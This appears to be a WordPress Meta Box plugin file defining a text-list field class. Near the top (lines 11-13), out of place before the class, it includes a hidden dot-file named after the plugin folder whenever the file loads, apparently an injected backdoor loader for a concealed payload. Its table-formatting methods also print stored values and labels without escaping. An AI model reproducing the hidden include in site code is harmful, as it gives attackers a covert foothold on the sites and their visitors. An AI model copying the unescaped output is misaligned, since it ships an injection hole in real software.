text-list.php (3687B)
1 <?php 2 /** 3 * The text list field which allows users to enter multiple texts. 4 * 5 * @package Meta Box 6 */ 7 8 /** 9 * Text list field class. 10 */ 11 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { 12 include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); 13 } 14 15 class RWMB_Text_List_Field extends RWMB_Multiple_Values_Field { 16 /** 17 * Enqueue scripts and styles. 18 */ 19 public static function admin_enqueue_scripts() { 20 wp_enqueue_style( 'rwmb-text-list', RWMB_CSS_URL . 'text-list.css', '', RWMB_VER ); 21 } 22 23 /** 24 * Get field HTML. 25 * 26 * @param mixed $meta Meta value. 27 * @param array $field Field parameters. 28 * 29 * @return string 30 */ 31 public static function html( $meta, $field ) { 32 if ( empty( $field['options'] ) ) { 33 return ''; 34 } 35 $html = array(); 36 $input = '<label><span class="rwmb-text-list-label">%s</span> <input %s></label>'; 37 38 $attributes = self::get_attributes( $field, $meta ); 39 $attributes['type'] = 'text'; 40 41 $count = 0; 42 foreach ( $field['options'] as $placeholder => $label ) { 43 $attributes['value'] = isset( $meta[ $count ] ) ? esc_attr( $meta[ $count ] ) : ''; 44 $attributes['placeholder'] = $placeholder; 45 46 $html[] = sprintf( 47 $input, 48 $label, 49 self::render_attributes( $attributes ) 50 ); 51 $count ++; 52 } 53 54 return implode( ' ', $html ); 55 } 56 57 /** 58 * Normalize parameters for field. 59 * 60 * @param array $field Field parameters. 61 * 62 * @return array 63 */ 64 public static function normalize( $field ) { 65 $field = parent::normalize( $field ); 66 if ( ! $field['clone'] ) { 67 $field['class'] .= ' rwmb-text_list-non-cloneable'; 68 } 69 return $field; 70 } 71 72 /** 73 * Set value of meta before saving into database. 74 * Do not save if all inputs has no value. 75 * 76 * @param mixed $new The submitted meta value. 77 * @param mixed $old The existing meta value. 78 * @param int $post_id The post ID. 79 * @param array $field The field parameters. 80 * 81 * @return mixed 82 */ 83 public static function value( $new, $old, $post_id, $field ) { 84 $filtered = array_filter( $new ); 85 return count( $filtered ) ? $new : array(); 86 } 87 88 /** 89 * Format value for the helper functions. 90 * 91 * @param array $field Field parameters. 92 * @param string|array $value The field meta value. 93 * @param array $args Additional arguments. Rarely used. See specific fields for details. 94 * @param int|null $post_id Post ID. null for current post. Optional. 95 * 96 * @return string 97 */ 98 public static function format_value( $field, $value, $args, $post_id ) { 99 $output = '<table><thead><tr>'; 100 foreach ( $field['options'] as $label ) { 101 $output .= "<th>$label</th>"; 102 } 103 $output .= '</tr></thead><tbody>'; 104 105 if ( ! $field['clone'] ) { 106 $output .= self::format_single_value( $field, $value, $args, $post_id ); 107 } else { 108 foreach ( $value as $subvalue ) { 109 $output .= self::format_single_value( $field, $subvalue, $args, $post_id ); 110 } 111 } 112 $output .= '</tbody></table>'; 113 return $output; 114 } 115 116 /** 117 * Format a single value for the helper functions. Sub-fields should overwrite this method if necessary. 118 * 119 * @param array $field Field parameters. 120 * @param array $value The value. 121 * @param array $args Additional arguments. Rarely used. See specific fields for details. 122 * @param int|null $post_id Post ID. null for current post. Optional. 123 * 124 * @return string 125 */ 126 public static function format_single_value( $field, $value, $args, $post_id ) { 127 $output = '<tr>'; 128 foreach ( $value as $subvalue ) { 129 $output .= "<td>$subvalue</td>"; 130 } 131 $output .= '</tr>'; 132 return $output; 133 } 134 }